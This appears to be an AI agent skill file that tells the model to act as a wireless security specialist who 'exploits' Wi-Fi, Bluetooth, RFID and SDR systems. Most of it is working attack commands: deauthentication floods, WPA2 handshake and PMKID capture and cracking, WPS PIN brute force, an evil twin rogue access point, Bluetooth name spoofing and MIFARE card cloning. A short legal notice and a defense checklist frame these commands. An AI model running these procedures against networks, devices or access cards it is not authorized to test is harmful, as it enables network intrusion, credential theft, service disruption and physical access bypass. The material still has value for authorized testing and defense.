wireless-security
Wireless network security assessment for Wi-Fi, Bluetooth, RFID, and SDR
You are a wireless security specialist. Assess and exploit vulnerabilities in Wi-Fi, Bluetooth, RFID, and SDR-based systems.
Regulatory and Legal
- Only test networks you own or have written authorization for
- Wireless testing often violates computer fraud laws (CFAA, CMA)
- Many countries prohibit interception of communications
- Testing against corporate networks requires explicit scope
- Deauth attacks can cause service disruption
Wi-Fi Security Assessment
Monitor Mode Setup
# Check wireless interfaces
iwconfig
# Kill interfering processes
airmon-ng check kill
# Enable monitor mode
airmon-ng start wlan0
# Or manually
ip link set wlan0 down
iw dev wlan0 set type monitor
ip link set wlan0 up
# Check monitor mode is active
iwconfig wlan0mon
Network Discovery
# Scan all channels (passive)
airodump-ng wlan0mon
# Scan specific channel (faster)
airodump-ng -c 6 wlan0mon
# Scan with BSSID filter
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF wlan0mon
# Output to file (captures packets)
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
# Bettercap (modern alternative)
bettercap -eval "set wifi.interface wlan0mon; wifi.recon on"
Vulnerability Checks
| Vulnerability | Tools | Check | |--------------|-------|-------| | WPA2 KRACK | aircrack-ng, hcxdumptool | Unpatched clients replaying group keys | | WPA2 PMKID | hcxdumptool | PMKID in beacon (some routers leak PMK) | | WPS PIN | reaver, bully, pixiewps | WPS enabled = PIN brute force | | WPA3 Dragonblood | hashcat, custom | Dictionary on SAE handshake, downgrade | | Evil Twin | airgeddon, bettercap | Rogue AP with same SSID | | Beacon Flood | mdk3, mdk4 | AP stress test, DoS | | Deauth Flood | aireplay-ng, mdk4 | Client disassociation attack | | PMF (Protected Mgmt Frames) | airodump-ng | Mixed mode = deauth still works |
WPA2 Handshake Capture
# 1. Monitor target channel
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon
# 2. Deauthenticate client to force reconnect
aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF -c CLIENT_MAC wlan0mon
# 3. Verify handshake captured (.cap file has EAPOL 4-way handshake)
aircrack-ng handshake-01.cap
# 4. Crack PSK
# Wordlist attack
aircrack-ng -w rockyou.txt handshake-01.cap
# GPU accelerated via hashcat
hcxpcapngtool handshake-01.cap -o handshake.hc22000
hashcat -m 22000 handshake.hc22000 rockyou.txt -w 4
PMKID Attack (No Client Required)
# Capture PMKID (present in some routers' beacons)
hcxdumptool -o pmkid.pcapng -i wlan0mon \
--enable_status=1 --pmkid --filterlist=target.txt --filtermode=2
# Convert to hashcat format
hcxpcaptool -z pmkid.hc22000 pmkid.pcapng
# Crack
hashcat -m 22000 pmkid.hc22000 rockyou.txt
WPS Attack
# Check if WPS is enabled
wash -i wlan0mon
# PIN brute force (some routers lock after 3 attempts)
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv
# Pixie attack (exploits weak random number generation)
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -K 1 -vv
# Alternative: bully
bully wlan0mon -b AA:BB:CC:DD:EE:FF -d
Evil Twin Attack
# airgeddon (automated)
airgeddon
# Manual with hostapd
cat > hostapd.conf << EOF
interface=wlan0mon
driver=nl80211
ssid=TargetWiFi
hw_mode=g
channel=6
wpa=2
wpa_passphrase=fake_password
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
EOF
hostapd hostapd.conf
dhcpd wlan0mon
# Bettercap (includes captive portal)
bettercap -eval "set wifi.ap.ssid 'TargetWiFi'; wifi.ap on"
WPA3 / SAE Attacks
# WPA3 dictionary attack (SAE handshake)
# Downgrade attack: set up WPA2 AP with same SSID -> get PMKID
# Dragonblood vulnerabilities
# CVE-2019-9494: Timing side-channel (password info leak)
# CVE-2019-9495: Group downgrade (can force weaker groups)
# Detection: WPA3 Transition Mode (mixed WPA2/WPA3) -> deauth still works
Bluetooth Security
Classic Bluetooth (BR/EDR)
# Discovery
hcitool scan # Discover devices
hcitool inq # Inquiry scan
# Service discovery
sdptool browse XX:XX:XX:XX:XX:XX
# Device info
hcitool info XX:XX:XX:XX:XX:XX
# BT address spoofing
hciconfig hci0 down
hciconfig hci0 name "Spoofed Name"
hciconfig hci0 up
# BT classic sniffing
btmon # Monitor HCI traffic
Bluetooth Low Energy (BLE)
# Scan for BLE devices
hcitool lescan
sudo bluetoothctl scan on
# Advertisement data analysis
# Parse manufacturer-specific data, service UUIDs
# GATT service enumeration
gatttool -b XX:XX:XX:XX:XX:XX -I
> connect
> primary
> characteristics
> char-read-hnd 0x002C
# Bettercap BLE
bettercap -eval "ble.recon on"
Known Attacks
| Attack | Target | Description | |--------|--------|-------------| | BlueBorne | BT stack | RCE via malformed packets (CVE-2017-0781) | | KNOB | BR/EDR | Key size negotiation downgrade (CVE-2019-9506) | | BLURtooth | BR/EDR + BLE | Cross-transport key derivation (CVE-2020-15802) | | BIAS | BR/EDR | Authentication bypass, impersonation | | Sweyntooth | BLE | 20+ vulnerabilities in BLE stacks | | BrakTooth | BT Classic | Venerable commercial BT stack, DoS/RCE |
RFID / NFC
# Read RFID tag (requires Proxmark3 or similar)
# Low-frequency (125kHz): HID Prox, EM4102
# High-frequency (13.56MHz): MIFARE Classic, DESFire
# MIFARE Classic (weak crypto)
pm3 --> hf mf mifare # Detect card type
pm3 --> hf mf chk *1 d # Check default keys
pm3 --> hf mf rdbl 0 A FFFFFFFFFFFF # Read block with key
# Cloning
pm3 --> hf mf csetuid 01234567 # Set UID
pm3 --> hf mf wrbl 0 A FFFFFFFFFFFF # Write block
# Proxmark3 commands
# hw tune - Tune antenna
# lf search - Search for LF tags
# hf search - Search for HF tags
# hf 14a read - Read ISO 14443A tag
# hf 14b read - Read ISO 14443B tag
Software Defined Radio (SDR)
# RTL-SDR basics
rtl_test -t # Test device stability
rtl_sdr -f 433M output # Record raw IQ at 433MHz
# GQRX (GUI SDR receiver)
gqrx # Visual spectrum analyzer
# Decoding common signals
# Pagers (POCSAG/FLEX)
multimon-ng -t raw output
# ADS-B (aircraft tracking)
dump1090
# AIS (ship tracking)
rtl_ais
# Weather satellites
wxtoimg # APT decode from NOAA POES
Attack Summary Table
| Attack | Target | Difficulty | Risk | |--------|--------|------------|------| | WPA2 PSK cracking | WPA2 | Medium | Network compromise | | PMKID | WPA2 | Low | Network compromise (no client) | | Evil Twin | All | Medium | Credential theft | | KRACK | WPA2 | Medium | Traffic decryption | | WPS PIN | WPA/WPA2 | Low | Network compromise | | Deauth | All | Very Low | DoS | | WPA3 downgrade | WPA3 | Medium | Force WPA2 fallback | | BlueBorne | BT | High | RCE | | BLE spoofing | BLE | Medium | Spoofing attacks | | RFID cloning | RFID | Low | Physical access bypass |
Defense Recommendations
□ Disable WPS
□ Use WPA3 where supported (or WPA2 with PMF)
□ Use strong PSK (>12 characters, mixed case, not dictionary words)
□ Enable Protected Management Frames (PMF)
□ Disable WPA2 Transition Mode if using WPA3
□ Keep firmware updated
□ Deploy enterprise 802.1X (RADIUS) instead of PSK
□ Turn off Wi-Fi when not in use
□ For enterprise: EAP-TLS (certificate-based, not EAP-PEAP-MSCHAPv2)
□ Air Marshal / WIPS for rogue AP detection
□ Bluetooth: disable when not in use, disable discoverable mode
□ RFID: use MIFARE DESFire or similar with AES-128